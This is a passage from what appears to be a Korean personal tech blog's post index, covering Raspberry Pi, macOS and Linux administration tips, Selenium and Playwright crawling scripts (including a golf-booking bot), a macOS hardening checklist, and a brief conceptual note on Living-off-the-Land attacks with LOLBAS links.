자동실행 해제 $ launchctl disable gui/$(id -u)/com.example.myservice 서비스 등록 해제 $ launchctl bootout gui/$(id -u)/com.example.myservice plist 삭제 $ rm ~/Library/LaunchAgents/myservice.plist bootstrap \u0026gt; enable \u0026gt; disable \u0026gt; bootout 이후 같은 레이블명으로 재등록을 하려면 문제가 발생함. 이는 disable을 하면 서비스 실행 여부뿐 아니라 등록 자체를 막는 플래그가 남음. 따라서 enable \u0026gt; bootstrap 순으로 진행해야 함.\n","date":"2025-08-10T23:18:30+09:00","permalink":"/2025/08/10/%EB%A7%A5-%EC%9E%90%EB%8F%99%EC%8B%A4%ED%96%89-%EA%B4%80%EB%A0%A8-%EC%A0%95%EB%A6%AC%EB%B3%B8/","title":"맥 자동실행 관련"},{"content":"파이썬 스크립트를 작성하다 보면 내가 보낸 Request의 User-Agent를 확인해야 하는 경우가 있다. 이때 유용하게 활용할 수 있을것으로 보인다.\n1 2 3 4 import httpx response = httpx.get(\u0026#34;https://httpbin.org/user-agent\u0026#34;) print(response.json()) ","date":"2025-07-20T14:57:35+09:00","permalink":"/2025/07/20/user-agent-%ED%99%95%EC%9D%B8%EC%8B%9C-%EC%9C%A0%EC%9A%A9%ED%95%9C-%EC%82%AC%EC%9D%B4%ED%8A%B8/","title":"User-Agent 확인시 유용한 사이트"},{"content":"라즈베리파이3B+ 운영 과정에서 아래와 같은 에러가 발생하며 네트워크가 끊기는 현상이 종종 발생하였다.\n1 kernel: lan78xx 1-1.1.1:1.0 eth0: kevent 4 may have been dropped 다양한 검색을 통해 원인으로 지목된 것들은 다음과 같다.\n1. 전원 어뎁터 문제 전원이 부족해 발생한다는 얘기가 있어 전용 어뎁터로 변경했지만 해결에 도움이 되지 않음.\n2. 메모리 부족 스왑 메모리를 증설해보았지만 문제 해결에 도움이 되지 않음.\n3. 커널 업데이트 최신 버전으로 업데이트를 했지만 여전히 문제 발생.\n4. USB 2.0 버스 대역폭 문제 한동안 해결을 못하다 우연히 아래와 같은 게시물을 찾게 되었고 댓글이 눈에 띄었다. 라즈베리파이3B+는 유선 랜과 USB 포트를 공통된 USB 2.0 버스를 사용하며 대역폭은 최대 480Mbps라는 내용이다. https://www.clien.net/service/board/lecture/12566605\n그렇다. 나는 안정성을 위해 USB디스크에 OS를 설치해 사용했었는데 이럴 경우 이더넷과 USB 포트를 같은 버스를 사용하기에 대역폭을 초과해서 사용했을수도 있었던 것이다.\n이에 'USB디스크+유선랜' 또는 'SD카드+무선랜' 중 하나를 택하여 운영하는 방법이 있었으며 나는 SD카드에 OS를 설치하고 운영해보니 더이상 위와 같은 오류가 발생하지 않았다.\n현재는 SD카드가 수차례 망가져 안정성 문제로 인해 다시 USB디스크에 OS를 설치하고 유선랜이 아닌 무선랜으로 운영중이다.\n끝으로 아래는 ChatGPT가 정리한 라즈베리파이 3B+ 기준 유무선 LAN 비교표이다.\n항목 유선 LAN 무선 LAN 연결 방식 USB 2.0을 통한 LAN7515 SDIO 직결 대역폭 공유 여부 USB 장치들과 공유 독립 최대 실효 속도 약 220~250Mbps (USB 병목 발생 가능) 100~150Mbps (5GHz 기준, 안정적이면 더 빠를 수 있음) USB 사용 시 영향 있음 (속도 하락) 없음 ","date":"2025-06-09T21:56:28+09:00","permalink":"/2025/06/09/kernel-lan78xx-1-1-1-11-0-eth0-kevent-4-may-have-been-dropped-%EC%97%90%EB%9F%AC-%EA%B4%80%EB%A0%A8/","title":"kernel: lan78xx 1-1.1.1:1.0 eth0: kevent 4 may have been dropped 에러 관련"},{"content":"라즈베리파이에서 무선랜 설정시 히든 SSID일 경우 접속이 안되기도 한다. 이럴 경우 아래와 같이 'scan_ssid=1' 옵션을 추가 하면 된다.\n1 2 3 4 5 6 7 8 9 ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1 country=US network={ ssid=\u0026#34;SSID\u0026#34; psk=\u0026#34;PASSWORD\u0026#34; scan_ssid=1 } ","date":"2025-06-09T20:15:20+09:00","permalink":"/2025/06/09/%EB%9D%BC%EC%A6%88%EB%B2%A0%EB%A6%AC%ED%8C%8C%EC%9D%B4%EC%97%90%EC%84%9C-%EB%AC%B4%EC%84%A0%EB%9E%9C-%EC%84%A4%EC%A0%95%EC%8B%9C-hidden-ssid-%EC%84%A4%EC%A0%95-%EB%B0%A9%EB%B2%95/","title":"라즈베리파이에서 무선랜 설정시 Hidden SSID 설정 방법"},{"content":"크롤링을 하다보면 팝업창을 제어해야 하는 경우가 많다. 이러한 팝업창의 '확인' 버튼을 눌러주지 않으면 더이상 진행이 되지 않아 크롤링에 문제가 생긴다.\n1. 일반적인 팝업창 일반적인 팝업창은 아래 예시 코드와 같이 팝업창 발생시 핸들러가 동작해 제어토록 한다.\n1 2 3 4 5 6 7 8 9 10 11 12 with sync_playwright() as playwright: browser = playwright.chromium.launch() page = context.new_page() # dialog 이벤트 핸들러 등록 def on_dialog(dialog): print(f\u0026#39;[+] 팝업 내용 : {dialog.message}\\n\u0026#39;) dialog.accept() page.on(\u0026#39;dialog\u0026#39;, on_dialog) page.goto(\u0026#39;https://google.com\u0026#39;) 2. 모달창 모달창의 경우 현재 웹페이지 창의 크기에 따라 클릭이 안되는 경우가 있다. 이럴 경우 직접 자바스크립트를 실행시켜 '확인' 버튼을 눌러준다.\n1 2 # 모달 확인 버튼 클릭 page.evaluate(\u0026#34;document.getElementById(\u0026#39;모달창 ID\u0026#39;).click()\u0026#34;) 즐거운 크롤링~!\n","date":"2025-06-07T10:55:20+09:00","permalink":"/2025/06/07/%ED%81%AC%EB%A1%A4%EB%A7%81%EC%8B%9C-%ED%8C%9D%EC%97%85%EC%B0%BD-%EC%A0%9C%EC%96%B4-%EA%B4%80%EB%A0%A8/","title":"크롤링시 팝업창 제어 관련"},{"content":"보드 버전확인 1 2 pi@raspberrypi-1:~ $ cat /proc/device-tree/model Raspberry Pi 3 Model B Plus Rev 1.3 OS 버전 확인 1 2 3 4 5 6 7 8 9 10 11 12 13 14 pi@raspberrypi-1:~ $ uname -a Linux raspberrypi-1 6.1.21-v8+ #1642 SMP PREEMPT Mon Apr 3 17:24:16 BST 2023 aarch64 GNU/Linux pi@raspberrypi-1:~ $ cat /etc/issue Debian GNU/Linux 11 \\n \\l pi@raspberrypi-1:~ $ cat /etc/*release* PRETTY_NAME=\u0026#34;Debian GNU/Linux 11 (bullseye)\u0026#34; NAME=\u0026#34;Debian GNU/Linux\u0026#34; VERSION_ID=\u0026#34;11\u0026#34; VERSION=\u0026#34;11 (bullseye)\u0026#34; VERSION_CODENAME=bullseye ID=debian HOME_URL=\u0026#34;https://www.debian.org/\u0026#34; SUPPORT_URL=\u0026#34;https://www.debian.org/support\u0026#34; BUG_REPORT_URL=\u0026#34;https://bugs.debian.org/\u0026#34; bit 확인 1 2 pi@raspberrypi-1:~ $ getconf LONG_BIT 64 ","date":"2025-04-06T21:14:55+09:00","permalink":"/2025/04/06/%EB%9D%BC%EC%A6%88%EB%B2%A0%EB%A6%AC%ED%8C%8C%EC%9D%B4-%EC%A0%95%EB%B3%B4-%ED%99%95%EC%9D%B8/","title":"라즈베리파이 정보 확인"},{"content":"journalctl는? journalctl은 systemd의 로그 시스템인 journald의 로그를 조회하는 도구입니다. -p 옵션은 로그의 우선순위(priority) 를 필터링하는 데 사용됩니다. 로그 우선순위는 중요도에 따라 분류되며, 각 우선순위는 특정 숫자로 나타낼 수 있습니다. -p 옵션 뒤에 숫자나 이름을 지정함으로써 원하는 우선순위 이상의 로그만 필터링하여 볼 수 있습니다.\njournalctl -p 옵션 설명 journalctl -p 옵션 뒤에 사용되는 값은 우선순위(priority) 를 나타냅니다. 우선순위는 로그 메시지의 중요도를 나타내며, 0부터 7까지의 숫자로 표현됩니다. 이 숫자들은 syslog의 우선순위와 동일합니다. 각 우선순위는 다음과 같습니다.\n우선순위(숫자) 우선순위(이름) 설명 0 emerg (Emergency) 시스템이 사용할 수 없거나, 심각한 장애가 발생한 경우 (시스템 종료를 요구하는 상황) 1 alert (Alert) 즉각적인 조치가 필요한 경우 (예: 중요한 시스템 파일이 손상됨) 2 crit (Critical) 치명적인 오류 (예: 서비스가 중단됨) 3 err (Error) 일반적인 오류 (예: 잘못된 설정, 작동하지 않는 프로그램) 4 warning (Warning) 경고 (예: 성능 저하나 비정상적인 동작) 5 notice (Notice) 정상적인 동작을 나타내는 중요하지 않은 메시지 (예: 서비스 시작) 6 info (Information) 일반적인 정보 메시지 (예: 로그, 상태 보고) 7 debug (Debug) 디버깅 메시지 (개발과 문제 해결을 위한 자세한 정보) 그 외 로그 관리에 유용한 몇가지 명령어는 다음과 같다.\n1000개의 로그만 남고 나머지는 자동 삭제\n1 journalctl --vacuum-files=1000 10일 동안 로그만 남고 나머지 자동 삭제\n1 journalctl --vacuum-time=10d ","date":"2025-04-06T20:16:39+09:00","permalink":"/2025/04/06/journalctl-%EB%AA%85%EB%A0%B9%EC%96%B4-%EA%B4%80%EB%A0%A8-p-%EC%98%B5%EC%85%98-%EC%84%A4%EB%AA%85/","title":"journalctl 명령어(-p 옵션 설명)"},{"content":"라이트세일 최저 사양은 메모리가 512MB지만 용량은 20GB로 넉넉하다. 설치시 앱이 포함된 인스턴스는 적절하게 스왑이 자동으로 생성되어 있는것으로 보인다.\n하지만 OS 전용으로 생성시 스왑이 설정되어 있지 않다. 이에 남는 용량을 스왑으로 설정해 활용하자.\n1 2 3 4 5 6 7 $ sudo fallocate -l 4G /swapfile $ sudo chmod 600 /swapfile $ sudo mkswap /swapfile $ sudo swapon /swapfile $ free -h $ sudo vim /etc/fstab /swapfile none swap sw 0 0 ","date":"2025-04-05T22:37:34+09:00","permalink":"/2025/04/05/aws-lightsail-swap-%EB%A9%94%EB%AA%A8%EB%A6%AC-%EC%B6%94%EA%B0%80%ED%95%98%EA%B8%B0/","title":"AWS Lightsail swap 메모리 추가하기"},{"content":"crontab을 추가하면 macOS에서 자동으로 아래 항목이 추가 된다.\n시스템 설정 \u0026gt; 일반 \u0026gt; 로그인 항목 및 확장 프로그램 \u0026gt; 백그라운드에서 허용 'Legacy Background Tasks'\n이걸 아무리 지워보려해도 지워지지 않았는데 아래와 같이 하고 지워졌다.\n1 2 jjoon@mac ~ % crontab -r jjoon@mac ~ % sfltool resetbtm 이후 재부팅을 하면 삭제가 된걸 볼 수 있다.\n[ 참고 링크 ]\nhttps://developer.apple.com/forums/thread/756671 https://support.apple.com/ko-kr/guide/deployment/depdca572563/web ","date":"2025-04-05T01:33:24+09:00","permalink":"/2025/04/05/crontab-%EC%B6%94%EA%B0%80%EC%8B%9C-%EC%83%9D%EC%84%B1%EB%90%98%EB%8A%94-legacy-background-tasks-%ED%95%AD%EB%AA%A9-%EC%82%AD%EC%A0%9C/","title":"crontab 추가시 생성되는 'Legacy Background Tasks' 항목 삭제"},{"content":"macOS의 새 복사본 설치하기 이전의 잘못된 구성을 피하기 위해 깨끗하게 시작하는 것이 가장 좋습니다. Apple 지원 가이드를 따르십시오.\n자동 소프트웨어 업데이트 시스템에 최신 소프트웨어 패치가 설치되어 있는지 확인하십시오.\n시스템 설정 \u0026gt; 일반 \u0026gt; 소프트웨어 업데이트 \u0026gt; 자동 업데이트로 이동하여 모두 확인하십시오.\n서명되지 않은 소프트웨어 잠재적인 악성 소프트웨어가 실행되는 것을 방지하기 위해 설정하십시오.\n시스템 설정 \u0026gt; 개인 정보 보호 및 보안 \u0026gt; 보안으로 이동하여 \u0026quot;다음에서 응용 프로그램 허용\u0026quot;을 최대 App Store 및 Known Developers로 설정하십시오.\n인바운드 네트워크 방화벽 네트워크 기반 공격에 대한 노출을 줄이기 위해 사용하십시오.\n시스템 설정 \u0026gt; 네트워크 \u0026gt; 방화벽으로 이동하여 활성화하고 \u0026quot;들어오는 모든 연결 차단\u0026quot;을 설정하십시오. 다만 사용자 경험을 저하시킬 수 있습니다.\n네트워크 서비스 네트워크 기반 공격에 대한 노출을 줄이기 위해 비활성화 하십시오.\n시스템 설정 \u0026gt; 일반 \u0026gt; 공유로 이동하여 사용하지 않는 모든 서비스를 선택 취소합니다.\n불필요한 응용 프로그램 액세스 악성 소프트웨어의 잠재적인 영향을 제한합니다.\n개인 정보 보호 및 보안 \u0026gt; 개인 정보 보호 \u0026gt; 카메라의 시스템 \u0026gt;설정으로 이동하여 불필요한 모든 액세스를 선택 취소하십시오. 이후 마이크와 같은 다른 권한에 대해 이 작업을 반복합니다.\nSafari가 다운로드를 자동으로 열지 못하도록 방지 Safari \u0026gt; 설정 \u0026gt; 일반으로 이동하여 \u0026quot;다운로드 후 '안전한' 파일 열기\u0026quot;를 비활성화합니다.\n모든 파일 이름 확장자 표시 Finder \u0026gt; 설정 \u0026gt; 고급으로 이동하여 \u0026quot;모든 파일 이름 확장자 표시\u0026quot;를 선택합니다.\nEnable Terminal secure keyboard entry 다른 앱이 사용자가 입력하는 내용을 스누핑하는 것을 방지합니다.\n터미널 Terminal.app \u0026gt; 메뉴 표시줄로 이동하여 \u0026quot;Secure Keyboard Entry\u0026quot;를 클릭합니다.\n기타 https://github.com/drduh/macOS-Security-and-Privacy-Guide\n출처: https://www.bejarano.io/hardening-macos/\n","date":"2025-03-30T21:15:09+09:00","permalink":"/2025/03/30/%EB%A7%A5os-%EB%B3%B4%EC%95%88-%EC%84%A4%EC%A0%95/","title":"맥OS 보안 설정"},{"content":"가끔 msi로 된 파일 내부 파일을 추출하여 악성코드를 검사할 필요가 있을때가 있다. 그럴때 유용한 명령어라고 생각한다.\n1 msiexec /a 파일명.msi targetdir=\u0026#34;c:\\temp\u0026#34; /qn ","date":"2025-03-23T01:26:48+09:00","permalink":"/2025/03/23/msi-%ED%8C%8C%EC%9D%BC-%EC%95%95%EC%B6%95-%ED%95%B4%EC%A0%9C%ED%95%98%EA%B8%B0/","title":"msi 파일 압축 해제하기"},{"content":"한동안 크롤링 스크립트를 잘 운영하다 어느날부터 아래와 같은 에러가 발생.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 File \u0026#34;/home/pi/apti/lib/driver_open_close.py\u0026#34;, line 23, in open_Driver driver = webdriver.Chrome(service=service, options=options) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File \u0026#34;/home/pi/.venv/lib/python3.11/site-packages/selenium/webdriver/chrome/webdriver.py\u0026#34;, line 45, in __init__ super().__init__( File \u0026#34;/home/pi/.venv/lib/python3.11/site-packages/selenium/webdriver/chromium/webdriver.py\u0026#34;, line 66, in __init__ super().__init__(command_executor=executor, options=options) File \u0026#34;/home/pi/.venv/lib/python3.11/site-packages/selenium/webdriver/remote/webdriver.py\u0026#34;, line 250, in __init__ self.start_session(capabilities) File \u0026#34;/home/pi/.venv/lib/python3.11/site-packages/selenium/webdriver/remote/webdriver.py\u0026#34;, line 342, in start_session response = self.execute(Command.NEW_SESSION, caps)[\u0026#34;value\u0026#34;] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File \u0026#34;/home/pi/.venv/lib/python3.11/site-packages/selenium/webdriver/remote/webdriver.py\u0026#34;, line 429, in execute self.error_handler.check_response(response) File \u0026#34;/home/pi/.venv/lib/python3.11/site-packages/selenium/webdriver/remote/errorhandler.py\u0026#34;, line 232, in check_response raise exception_class(message, screen, stacktrace) selenium.common.exceptions.SessionNotCreatedException: Message: session not created: Chrome failed to start: exited normally. (session not created: DevToolsActivePort file doesn\u0026#39;t exist) (The process started from chrome location /usr/bin/chromium is no longer running, so ChromeDriver is assuming that Chrome has crashed.) Stacktrace: #0 0x005559c72b50 \u0026lt;unknown\u0026gt; #1 0x0055597effe4 \u0026lt;unknown\u0026gt; #2 0x0055598214a8 \u0026lt;unknown\u0026gt; #3 0x00555981da1c \u0026lt;unknown\u0026gt; #4 0x005559862014 \u0026lt;unknown\u0026gt; #5 0x0055598618c0 \u0026lt;unknown\u0026gt; #6 0x0055598279b0 \u0026lt;unknown\u0026gt; #7 0x0055598286c8 \u0026lt;unknown\u0026gt; #8 0x005559c46958 \u0026lt;unknown\u0026gt; #9 0x005559c49948 \u0026lt;unknown\u0026gt; #10 0x005559c4952c \u0026lt;unknown\u0026gt; #11 0x005559c38640 \u0026lt;unknown\u0026gt; #12 0x005559c49f84 \u0026lt;unknown\u0026gt; #13 0x005559c230a0 \u0026lt;unknown\u0026gt; #14 0x005559c62404 \u0026lt;unknown\u0026gt; #15 0x005559c625ec \u0026lt;unknown\u0026gt; #16 0x005559c71b44 \u0026lt;unknown\u0026gt; #17 0x007f90deee8c \u0026lt;unknown\u0026gt; #18 0x007f90e57b18 \u0026lt;unknown\u0026gt; 일단 버전을 확인하라고 하여 확인해봤으나 문제 없었습니다.\n1 2 3 4 $ /usr/bin/chromium --version Chromium 130.0.6723.116 built on Debian GNU/Linux 12 (bookworm) $ /usr/bin/chromedriver --version ChromeDriver 130.0.6723.116 (6ac35f94ae3d01152cf1946c896b0678e48f8ec4-refs/branch-heads/6723@{#1764}) 그 외 크롬 실행 옵션에서 '--no-sandbox' 옵션값을 제일 위로 올려봐라는 등 여러 조치사항을 확인하고 적용해봤지만 문제는 해결되지 않았습니다.\n그리고 마지막으로 아래와 같은 조치를 취하고 해결되었습니다.\n1 2 3 4 5 6 $ sudo apt-get remove chromium $ sudo apt-get remove chromium-driver $ pip install --upgrade selenium $ sudo apt-get install chromium $ sudo apt-get install chromium-chromedriver 아래는 제가 크롤링에 사용중인 크롬 옵션값 입니다.\n1 2 3 4 5 6 7 8 9 10 11 12 options.add_argument(\u0026#39;--no-sandbox\u0026#39;) # 샌드박스 비활성화 options.add_argument(\u0026#39;--headless=new\u0026#39;) # 헤드레스 options.add_argument(\u0026#39;--ignore-certificate-errors\u0026#39;) # 인증서 에러 무시 options.add_argument(\u0026#39;--incognito\u0026#39;) # 익명화 options.add_argument(\u0026#39;--lang=ko_KR\u0026#39;) # 언어 설정 options.add_argument(\u0026#39;--window-size=1920x1080\u0026#39;) # pc용 사이즈 options.add_argument(\u0026#39;--start-maximized\u0026#39;) # 브라우저가 최대화된 상태로 실행 options.add_argument(\u0026#39;--disable-gpu\u0026#39;) # 하드웨어 가속화 끔 options.add_argument(\u0026#39;--disable-software-rasterizer\u0026#39;) # 소프트웨어 랜더링 가속화 끔 options.add_argument(\u0026#39;--disable-dev-shm-usage\u0026#39;) # 공유메모리 사용 끔 options.add_argument(\u0026#39;--blink-settings=imagesEnabled=false\u0026#39;) # 이미지 로딩 비활성화 options.add_argument(\u0026#39;--disable-extensions\u0026#39;) # 확장 비활성화 ","date":"2025-03-23T00:01:02+09:00","permalink":"/2025/03/23/%EB%9D%BC%EC%A6%88%EB%B2%A0%EB%A6%AC%ED%8C%8C%EC%9D%B4%EC%97%90%EC%84%9C-selenium-%EC%82%AC%EC%9A%A9%EC%8B%9C-%EB%B0%9C%EC%83%9D%ED%95%98%EB%8A%94-%EC%97%90%EB%9F%AC-%EB%8C%80%EC%B2%98/","title":"라즈베리파이에서 Selenium 사용시 발생하는 에러 대처"},{"content":" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 import time import sys import os from selenium import webdriver from selenium.webdriver.chrome.service import Service from selenium.webdriver.chrome.options import Options from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from webdriver_manager.chrome import ChromeDriverManager wait_sec = 2 ######################################################################## id = \u0026#39;ID\u0026#39; # 아이디 pw = \u0026#39;PW\u0026#39; # 비밀번호 date = \u0026#39;01.22\u0026#39; # 예약 날짜 (Ex: 01.02) where = \u0026#39;PARK\u0026#39; # PARK or VALLEY whattime = \u0026#39;09:37\u0026#39; # 예약 시간 (Ex: 11:20) ######################################################################## def open_Driver(): options = Options() options.add_argument(\u0026#39;--user-agent=Mozilla/5.0 (Linux; Android 13; SM-G991N Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/102.0.5005.189 Whale/1.0.0.0 Crosswalk/27.102.0.30 Mobile Safari/537.36 NAVER(inapp; search; 2000; 12.3.7)\u0026#39;) options.add_argument(\u0026#39;--headless=new\u0026#39;) # 헤드레스 options.add_argument(\u0026#39;--incognito\u0026#39;) # 익명화 options.add_argument(\u0026#39;--lang=ko_KR\u0026#39;) # 언어 설정 options.add_argument(\u0026#39;--window-size=1920x1080\u0026#39;) # pc용 사이즈 options.add_argument(\u0026#39;--start-maximized\u0026#39;) # 브라우저가 최대화된 상태로 실행 options.add_argument(\u0026#39;--disable-gpu\u0026#39;) # 하드웨어 가속화 끔 options.add_argument(\u0026#39;--disable-software-rasterizer\u0026#39;) # 소프트웨어 랜더링 가속화 끔 options.add_argument(\u0026#39;--disable-dev-shm-usage\u0026#39;) # 공유메모리 사용 끔 options.add_argument(\u0026#39;--blink-settings=imagesEnabled=false\u0026#39;) # 이미지 로딩 비활성화 options.add_argument(\u0026#39;--no-sandbox\u0026#39;) # 샌드박스 비활성화 #options.add_experimental_option(\u0026#34;detach\u0026#34;, True) # 창 종료 방지 service = Service(executable_path=ChromeDriverManager().install()) driver = webdriver.Chrome(service=service, options=options) return driver def close_Driver(driver): driver.quit() def login(driver, id, pw): login_url = \u0026#39;https://www.parkvalley.co.kr/Mobile/Member/LogIn.aspx\u0026#39; driver.get(login_url) xpath_id = \u0026#39;//input[@id=\u0026#34;ctl00_contents_userID\u0026#34;]\u0026#39; xpath_pw = \u0026#39;//input[@id=\u0026#34;ctl00_contents_userPassword\u0026#34;]\u0026#39; xpath_btn = \u0026#39;//a[@class=\u0026#34;loginBtn\u0026#34;]\u0026#39; wait = WebDriverWait(driver, wait_sec) wait.until(EC.presence_of_element_located((By.XPATH, xpath_id))) driver.find_element(By.XPATH, xpath_id).send_keys(id) driver.find_element(By.XPATH, xpath_pw).send_keys(pw) driver.find_element(By.XPATH, xpath_btn).click() def booking(driver, where, date, whattime): book_url = \u0026#39;https://www.parkvalley.co.kr/Mobile/Booking/ReservationCalendar.aspx\u0026#39; driver.get(book_url) xpath_date = f\u0026#39;//a[text()=\u0026#34;{date}\u0026#34;]\u0026#39; xpath_time = f\u0026#39;//tr[td[1]=\u0026#34;{where}\u0026#34; and td[2]=\u0026#34;{whattime}\u0026#34;]/td/a\u0026#39; xpath_btn = \u0026#39;//a[@id=\u0026#34;ctl00_contents_lnkBtnReserveOk\u0026#34;]\u0026#39; wait = WebDriverWait(driver, wait_sec) wait.until(EC.presence_of_element_located((By.XPATH, xpath_date))) driver.find_element(By.XPATH, xpath_date).click() wait.until(EC.presence_of_element_located((By.XPATH, xpath_time))) driver.find_element(By.XPATH, xpath_time).click() driver.find_element(By.XPATH, xpath_btn).click() # 팝업창 뜰때 확인 버튼 누름 driver.switch_to.alert.accept() time.sleep(1) # 팝업창 뜰때 확인 버튼 누름 driver.switch_to.alert.accept() return True def main(): print(f\u0026#39;[+] Start ({time.strftime(\u0026#34;%Y.%m.%d - %H:%M:%S\u0026#34;)})\u0026#39;) try: driver = open_Driver() login(driver, id, pw) while True: try: if booking(driver, where, date, whattime): close_Driver(driver) print(\u0026#39;\\n[-] End!\u0026#39;) break except Exception as e: exc_type, exc_obj, exc_tb = sys.exc_info() fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] print(f\u0026#39;file name: {str(fname)}\u0026#39;) print(f\u0026#39;error type: {str(exc_type)}\u0026#39;) print(f\u0026#39;error msg: {str(e)}\u0026#39;) print(f\u0026#39;line number: {str(exc_tb.tb_lineno)}\u0026#39;) time.sleep(1) continue except Exception as e: exc_type, exc_obj, exc_tb = sys.exc_info() fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] print(f\u0026#39;file name: {str(fname)}\u0026#39;) print(f\u0026#39;error type: {str(exc_type)}\u0026#39;) print(f\u0026#39;error msg: {str(e)}\u0026#39;) print(f\u0026#39;line number: {str(exc_tb.tb_lineno)}\u0026#39;) if __name__ == \u0026#39;__main__\u0026#39;: main() 파이썬 설치 먼저, 파이썬이 설치되어 있어야 합니다.\n파이썬 다운로드: Python 공식 웹사이트에서 파이썬 최신 버전을 다운로드하여 설치합니다. 설치 시 \u0026quot;Add Python to PATH\u0026quot; 옵션을 선택하여 환경 변수에 추가하도록 합니다.\nSelenium 설치 Selenium은 웹 자동화 도구로, Python에서 사용할 수 있도록 pip을 통해 설치해야 합니다.\n1 설치 명령 : pip install selenium 웹 드라이버 설치 Selenium은 웹 브라우저를 자동으로 제어하려면 해당 브라우저에 맞는 웹 드라이버가 필요합니다. 예를 들어, Chrome 브라우저를 사용할 경우 ChromeDriver가 필요합니다. ChromeDriverManager는 사용 중인 Chrome 브라우저 버전에 맞는 최신 ChromeDriver를 자동으로 다운로드하여 설치합니다. 이 방법이 훨씬 편리합니다.\n1 설치 명령 : pip install webdriver-manager ","date":"2024-12-31T01:06:04+09:00","permalink":"/2024/12/31/%EC%9E%84%EC%8B%9C-%EC%9E%91%EC%84%B1%EA%B8%80/","title":"임시 작성글"},{"content":"최근 잉크젯 프린터를 구입하며 노즐 막힘 예방을 위해 일주일에 한번씩 자동으로 테스트 페이지를 인쇄하도록 라즈베리파이를 통해 구성해보았다.\ncups 설치 1 2 $ sudo apt-get update $ sudo apt-get install cups cups 설정파일 수정 1 $ sudo vi /etc/cups/cupsd.conf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 # Only listen for connections from the local machine. -Listen localhost:631 +#Listen localhost:631 +Port 631 # Restrict access to the server... \u0026lt;Location /\u0026gt; Order allow,deny + Allow @Local \u0026lt;/Location\u0026gt; # Restrict access to the admin pages... \u0026lt;Location /admin\u0026gt; Order allow,deny + Allow @Local \u0026lt;/Location\u0026gt; # Restrict access to configuration files... \u0026lt;Location /admin/conf\u0026gt; AuthType Default Require user @SYSTEM Order allow,deny + Allow @Local \u0026lt;/Location\u0026gt; # Restrict access to log files... \u0026lt;Location /admin/log\u0026gt; AuthType Default Require user @SYSTEM Order allow,deny + Allow @Local \u0026lt;/Location\u0026gt; cups 재시작 및 프린터 추가 1 $ sudo service cups restart http://라즈베리파이:631 로 접속하여 프린터를 추가. 다만 나의 경우 자동으로 추가되어 있어 테스트 페이지가 정상 출력되는지만 확인했음.\n기본 프린터로 지정 및 예약작업 추가 1 $ lpoptions -d 프린터명 crontab에아래 라인 추가\n1 2 # 매주 금요일 오후 8:00 인쇄 0 20 * * 5 /usr/bin/lp /usr/share/cups/data/testprint ","date":"2024-09-07T01:14:11+09:00","permalink":"/2024/09/07/%EC%9E%89%ED%81%AC%EC%A0%AF-%ED%94%84%EB%A6%B0%ED%84%B0-%EB%85%B8%EC%A6%90-%EB%A7%89%ED%9E%98-%EB%B0%A9%EC%A7%80%EC%9A%A9-%EB%9D%BC%EC%A6%88%EB%B2%A0%EB%A6%AC%ED%8C%8C%EC%9D%B4-%EC%84%A4%EC%A0%95/","title":"잉크젯 프린터 노즐 막힘 방지용 라즈베리파이 설정"},{"content":"Living off the Land의 사전적 의미는 땅에서 생활하기, 자급자족 이런 의미로 보이는데\n악성코드 분야에서 의미는 시스템 안에서 자급자족 한다는 의미가 되겠다.\n즉, 시스템에서 제공하는 여러 명령어를 활용한다는 의미로 악성코드의 AV 회피, 다운사이징 등에 활용되고 있다.\n이와 관련 'LOLBAS 프로젝트'가 있는데 해당 프로젝트의 목표는 Living off the Land 기술에 사용할 수 있는 모든 바이너리, 스크립트 및 라이브러리를 문서화하는 것이다.\n윈도우 : https://lolbas-project.github.io/ UNIX : https://gtfobins.github.io/\n","date":"2024-08-24T08:53:40+09:00","permalink":"/2024/08/24/living-off-the-landlotl-%EA%B3%B5%EA%B2%A9%EA%B3%BC-lolbas-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8/","title":"Living off the Land(LotL) 공격과 LOLBAS 프로젝트"},{"content":"개요 최근 LG에서 thinqconnect 파이썬 모듈을 발표했음을 확인했습니다. 이를 활용해 집에 있는 LG 가전들의 상태를 Smartthings로 불러오는 작업을 해보았습니다.\n구성도 집에 있는 라즈베리파이에 아래와 같이 구성을 할 예정입니다.\nthinqconnect \u0026lt;-\u0026gt; MQTT \u0026lt;-\u0026gt; Smartthings Smartthings의 MQTT 처리는 지난 공휴일 스위치 만들기에서 사용한 MQTTDevices를 활용할 예정입니다.\nthinqconnect 설치 및 테스트 thinqconnect를 먼저 설치해봅시다. 저의 경우 venv로 가상환경을 만들어 작업을 진행하였습니다.\n1 2 3 pi@raspberrypi:~ $ python -m venv .test pi@raspberrypi:~ $ source .test/bin/activate (.test) pi@raspberrypi:~ $ pip install thinqconnect 그리고 thinqconnect 모듈 사이트의 예제 코드를 실행해봅시다. thinqconnect : https://pypi.org/project/thinqconnect/\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 import asyncio from aiohttp import ClientSession from thinqconnect.thinq_api import ThinQApi import uuid client_id = str(uuid.uuid4()) async def test_devices_list(): async with ClientSession() as session: thinq_api = ThinQApi(session=session, access_token=\u0026#39;your_personal_access_token\u0026#39;, country_code=\u0026#39;KR\u0026#39;, client_id=client_id) response = await thinq_api.async_get_device_list() print(\u0026#34;device_list : %s\u0026#34;, response) asyncio.run(test_devices_list()) 위 예제 코드 실행을 위해서는 토큰이 필요한데 토큰은 아래 